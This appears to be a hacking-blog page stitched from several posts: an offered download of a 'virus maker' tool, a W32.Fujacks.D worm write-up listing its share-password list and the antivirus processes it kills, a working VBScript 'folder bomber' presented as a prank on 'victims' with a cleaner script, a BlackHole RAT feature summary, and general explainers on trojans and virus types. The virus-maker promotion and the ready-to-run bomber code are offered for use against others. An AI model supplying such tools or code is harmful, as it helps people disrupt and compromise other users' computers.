Crackohack Special virus Maker 1.1 free download

Crackohack Special virus Maker 1.1

 

Hi all users, This is a cool virus maker we're posting here, and brought  to  you exclusively  by us.

You can also check another tutorial on :How to create a Computer Virus?

And 

                               How to make Powerful viruses on your own?                      

This is what our authrors say about it.

We decided to make a custom virus maker because I don’t trust all the other virus makers that are out there on the net. I think it took me about 4 hours to code this. If you are wondering why it took me that long: it is because I used a new theme and new components, and I’m still learning how to use them properly.

Video:

Download:

Download Virus Maker Now!

Virustotal:

Click Here for tutorial and Help !

Read More

Viruses - Manual Deleting SolutionW32.Fujacks.D (spoclsv.exe/GameSetup.exe)- Virus

W32.Fujacks.D (spoclsv.exe/GameSetup.exe)- Virus


Systems Affected: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP When the worm executes, it performs the following actions:
Copies itself as the following files:

[DRIVE LETTER]\setup.exe
[NETWORK DRIVE LETTER]\GameSetup.exe
%System%\Drivers\spoclsv.exe

Note: %System% is a variable that refers to the System folder. By default this is C:\Windows\System (Windows 95/98/Me), C:\Winnt\System32 (Windows NT/2000), or C:\Windows\System32 (Windows XP).
Creates the following file to execute [DRIVE LETTER]\setup.exe:

[DRIVE LETTER]\autorun.inf

Adds the value:

"svcshare"="spoclsv.exe"

to the following registry subkeys:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

so that it executes whenever Windows starts.

May delete entries that contain the following strings:

"kav"
"KAVPersonal50"
"KvMonXP"
"McAfeeUpdaterUI"
"Network Associates Error Reporting Service"
"RavTask"
"ShStatEXE"
"yassistse"
"YLive.exe"

from the registry subkey:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Uses a series of "net share" commands to close any local shared folders found.

May delete files with the following extensions from the root folder of local partitions, except the C drive:

.gho
.exe
.scr
.pif
.com

Uses the following password list in attempt to copy itself to available network shares:

admin$
admin$
1234
password
6969
harley
123456
golf
pussy
mustang
1111
shadow
1313
fish
5150
7777
qwerty
baseball
2112
letmein
12345678
12345
ccc
admin
5201314
qq520
123
1234567
123456789
654321
54321
111
000000
abc
11111111
88888888
pass
passwd
database
123asd
ihavenopass
godblessyou
enable
2002
2003
2600
alpha
Login
pw123
love
mypc
mypc123
admin123
mypass
mypass123
901100
Administrator
Guest
admin
Root

Ends all processes in windows that contain the following strings in the title:

QQKav
QQAV
VirusScan
Symantec AntiVirus
iDuba
esteem procs
Wrapped gift Killer
Winsock Expert
msctls_statusbar32
pjf(ustc)
IceSword

Ends the following processes:

Mcshield.exe
VsTskMgr.exe
naPrdMgr.exe
UpdaterUI.exe
TBMon.exe
scan32.exe
Ravmond.exe
CCenter.exe
RavTask.exe
Rav.exe
Ravmon.exe
RavmonD.exe
RavStub.exe
KVXP.kxp
KvMonXP.kxp
KVCenter.kxp
KVSrvXP.exe
KRegEx.exe
UIHost.exe
TrojDie.kxp
FrogAgent.exe
Logo1_.exe
Logo_1.exe
Rundl123.exe

May end the following services, some of which may be security-related:

Schedule
sharedaccess
RsCCenter
RsRavMon
RsCCenter
RsRavMon
KVWSC
KVSrvXP
KVWSC
KVSrvXP
kavsvc
AVP
AVP
kavsvc
McAfeeFramework
McShield
McTaskManager
McAfeeFramework
McShield
McTaskManager
navapsvc
wscsvc
KPfwSvc
SNDSrvc
ccProxy
ccEvtMgr
ccSetMgr
SPBBCSvc
Symantec Core LC
NPFMntor
MskService
FireSvc

Scans the compromised computer and infects any .exe files it finds.

Manual Deleting Solution:
Restart your PC. Then go to safe mode (press F8).
Open Start>>Run and type cmd and press enter. This will open windows command prompt window. On this window, type as directed in steps further and press enter at the end of each step.

type cd\
type cd windows\system32
type attrib -r -h -s spoclsv.exe
type del spoclsv.exe
type del spoclsv.exe
now type d: and press enter for d: drive partition.
type attrib -r -h -s gamesetup.exe
type gamesetup.exe
type exit

Open Start --->> Run and type msconfig and press enter. This will open windows msconfig window then uncheck spoclsv.exe and gamesetup.exe
Open Start --->> Run and type regedit and press enter. This will open windows Registry Editor window then find and remove. (spoclsv.exe and gamesetup.exe)
Then update your antivirus software (your all software (.exe) attacked virus). So reinstall your software.
Note: Similarly repeat from steps 8 to 10 for all your hard disk partitions to remove the files created by the virus.

Read More

A Speaking Folder Bomber on the Desktop with Vbscript

This Code show you how it is easy to make some jokes with your friends or your victimes using the Vbscript. So I made a Speaking Folder Bomber on the Desktop.
The aim of this Vbscript is to Create Folders with names begin with VIRUS and a random Number in your desktop every 1 second in infinite Loop.And for the victim it become so hard to delete them manually.

I update this script to become more and more funny, so i add this feature and i tested it in windows xp and i don't know if it runs in windows Vista or Seven so please try it and give me your feedback.
The added feature is that the computer can say the name of the empty folder created by this script.

Code:

'----A Speaking Folder Bomber on the Desktop with Vbscript by Hackoo----

Dim fso,sho,basefolder,FolderBomb,bf

Set fso = CreateObject( "Scripting.FileSystemObject" )

Set sho = CreateObject( "Wscript.Shell" )

Set Voix=CreateObject("SAPI.SpVoice")

basefolder=sho.SpecialFolders("desktop")' Get your Desktop Folder

Set bf = fso.GetFolder( basefolder )

do

Randomize

r=Int((99999*Rnd)+1)

FolderBomb="VIRUS_"&r

Voix.speak FolderBomb 'The Computer speak and tell the name of the empty folder created by this script

bf.subFolders.Add(FolderBomb) 'Create Folders with names begin  with VIRUS and a random Number in your desktop

wscript.sleep 1000 'Pause of 1 second and continue the loop

loop

So for whom want to test this script in their computer without any problem i made for that an antidote or a cleaner.vbs
So when you execute it your desktop become Full of empty Folders with name like this VIRUS_2353 VIRUS_9876 etc.......
so to stop this .You must in first step stop and kill the wscript Process in the TaskManager.
The second step is to use My cleaner.vbs that i have made for this purpose because it's very hard to clean those folders manually.
To Stop Them just copy and paste this script below in Notepad and save it as Cleaner.vbs or Anti-FolderBomer.vbs or what you want but don't forget the extention must be .vbs and execute it and it delete all the Folders created by the Folder Bomber script.

Code:

'---------------Cleaner.vbs---------------

'--------------Made by Hackoo-------------

on error resume next

Dim fso, f, f1, fc, ss

Set fso = CreateObject("Scripting.FileSystemObject")

Set sho = CreateObject( "Wscript.Shell" )

basefolder=sho.SpecialFolders("desktop")

Set f = fso.GetFolder( basefolder )

Set fc = f.SubFolders

NomFichierLog="Dossiers_Vides"

temp = sho.ExpandEnvironmentStrings("%temp%")

Set OutPut = fso.CreateTextFile(temp & "\" & NomFichierLog & ".txt",1)

count=0 'initialisation du compteur des Dossiers vides

NBfichier=0 'initialisation du idesvompteur des fichiers

' Tuer le processus wscript

'sho.run "Taskkill /IM wscript.exe /F", 0

'Boucle pour la recherche des Dossiers vides

Msgbox f

For Each f1 in fc

If f1.size = 0 Then

count= count + 1

OutPut.WriteLine f1.Path

f1.delete

End if

Next

'Boucle pour la recherche des fichiers vides

For Each Fichier in f.files

if Fichier.size = 0 then

NBfichier=NBfichier+1

OutPut.WriteLine Fichier.Path

Fichier.delete

end if

next

Msgbox count& " Dossiers Vides ont été supprimés",64,"Dossiers Vides"

Msgbox NBfichier& " Fichiers Vides ont été supprimés",64,"Dossiers Vides"

Download File:
http://www.mediafire.com/?7cm5dycyqbe32eb

Read More

BlackHole RAT Beta – Mac OS X Trojan Horse

BlackHole is a variant of a well-known Remote Access Trojan (RAT) for Windows known as darkComet.

“Hello, Im the BlackHole Remote Administration Tool.
I am a Trojan Horse, so i have infected your Mac Computer.
I know, most people think Macs can’t be infected, but look, you ARE Infected!
I have full controll over your Computer and i can do everything I want, and you can do nothing to prevent it.
So, Im a very new Virus, under Development, so there will be much more functions when im finished.
But for now, it’s okay what I can do?”

This message, displayed in the full screen window with the reboot button blocks user’s screen.

As even the malware itself admits, it is not yet finished, but it could be indicative of more underground programmers taking note of Apple’s increasing market share.

Functions :

• Remote execution of shell commands.
• Opens URL using victim’s default browser.
• Sends a message which is displayed on the victims screen.
• Creates a text file.
• Perform shutdown, restart and sleep operation.
• Popping up a fake “Administrator Password” window to phish the target.

Read More

TROJAN HORSE VIRUS

What is a Trojan ?
"A Trojan Horse, or Trojan, is a term used to describe malware that appears, to the user, to perform a desirable function but, in fact, facilitates unauthorized access to the user's computer system". - Wikipedia

"A Trojan horse is an apparently useful program containing hidden functions that can exploit the privileges of the user [running the program], with a resulting security threat.". - CERT Advisory

Types of Trojan :-
 The different types of Trojan Horses are as follows-

1) Remote Access Trojans :- Abbreviated as RATs, a Remote Access Trojans are potentially the most damaging, designed to provide the attacker with complete control of the victim's system.

2) Data Sending Trojans :- A type of a Trojan horse that is designed to provide the attacker with sensitive data such as passwords, credit card information, log files, e-mail address or IM contact lists. They could install a keylogger and send all recorded keystrokes back to the attacker.

3) Destructive Trojans :- Once this Trojan is installed on your computer, it will begin to systematically or completely randomly delete information from your computer. This can include files, folders, registry entries, and important system files, which likely to cause the failure of your operating system.

4) Proxy Trojans :- A type of Trojan horse designed to use the victim's computer as a proxy server. This gives the attacker the opportunity to conduct illegal activities, or even to use your system to launch malicious attacks against other networks.

5) FTP Trojans :- A type of Trojan horse designed to open port 21 (FTP) and acts like an FTP server. Once installed, the attacker not only could download/upload files/programs to victim's computer but also install futher malware on your computer.

6) Security Software Disabler Trojan :- A type of Trojan horse designed stop or kill security programs such as an antivirus program or firewall without the user knowing. This Trojan type is normally combined with another type of Trojan as a payload.

7) DoS Attack Trojans :- These trojans are used by the attacker to launch a DoS/DDoS attack against some website or network or any individual. In this case they are well known as "Zombies".

How Trojan Works ?
Trojans typically consist of two parts, a client part and a server part. When a victim (unknowingly) runs a Trojan server on his machine, the attacker then uses the client part of that Trojan to connect to the server module and start using the Trojan. The protocol usually used for communications is TCP, but some Trojans' functions use other protocols, such as UDP, as well. When a Trojan server runs on a victim’s computer, it (usually) tries to hide somewhere on the computer; it then starts listening for incoming connections from the attacker on one or more ports, and attempts to modify the registry and/or use some other auto-starting method.

       It is necessary for the attacker to know the victim’s IP address to connect to his/her machine. Many Trojans include the ability to mail the victim’s IP and/or message the attacker via ICQ or IRC. This system is used when the victim has a dynamic IP, that is, every time he connects to the Internet, he is assigned a different IP (most dial-up users have this). ADSL users have static IPs, meaning that in this case, the infected IP is always known to the attacker; this makes it considerably easier for an attacker to connect to your machine.

       Most Trojans use an auto-starting method that allows them to restart and grant an attacker access to your machine even when you shut down your computer.

How Trojan Horses Are Installed ?
Infection from Trojans is alarmingly simple. Following are very common ways to become infected that most computer users perform on a very regular basis.

• Software Downloads
• Websites containing executable content (ActiveX control)
• Email Attachments
• Application Exploits (Flaws in a web applications)
• Social Engineering Attacks

The Removal :-
Antivirus software is designed to detect and delete Trojan horses ideally preventing them from ever being installed.

Read More

Computer Viruses

What is a Computer Virus ?
A potentially damaging computer programme capable of reproducing itself causing great harm to files or other programs without permission or knowledge of the user. Types of viruses :-
The different types of viruses are as follows-

1) Boot Sector Virus :- Boot sector viruses infect either the master
boot record of the hard disk or the floppy drive. The boot record program responsible for the booting of operating system is replaced by the virus. The virus either copies the master boot program to another part of the hard disk or overwrites it. They infect a computer when it boots up or when it accesses the infected floppy disk in the floppy drive. i.e. Once a system is infected with a boot-sector virus, any non-write-protected disk accessed by this system will become infected.

Examples of boot- sector viruses are Michelangelo and Stoned.

2) File or Program Viruses :- Some files/programs, when executed, load the virus in the memory and perform predefined functions to infect the system. They infect program files with extensions like .EXE, .COM, .BIN, .DRV and .SYS .

Some common file viruses are Sunday, Cascade.

3) Multipartite Viruses :- A multipartite virus is a computer virus that infects multiple different target platforms, and remains recursively infective in each target. It attempts to attack both the boot sector and the executable, or programs, files at the same time. When the virus attaches to the boot sector, it will in turn affect the system’s files, and when the virus attaches to the files, it will in turn infect the boot sector.
This type of virus can re-infect a system over and over again if all parts of the virus are not eradicated.

Ghostball was the first multipartite virus, discovered by Fridrik Skulason in October 1989.
Other examples are Invader, Flip, etc.

4) Stealth Viruses :- These viruses are stealthy in nature means it uses various methods for hiding themselves to avoid detection. They sometimes remove themselves from the memory temporarily to avoid detection by antivirus. They are somewhat difficult to detect. When an antivirus program tries to detect the virus, the stealth virus feeds the antivirus program a clean image of the file or boot sector.

5) Polymorphic Viruses :- Polymorphic viruses have the ability to mutate implying that they change the viral code known as the signature each time they spread or infect. Thus an antivirus program which is scanning for specific virus codes unable to detect it's presense.

6) Macro Viruses :- A macro virus is a computer virus that "infects" a Microsoft Word or similar application and causes a sequence of actions to be performed automatically when the application is started or something else triggers it. Macro viruses tend to be surprising but relatively harmless.A macro virus is often spread as an e-mail virus. Well-known examples are Concept Virus and Melissa Worm.

Read More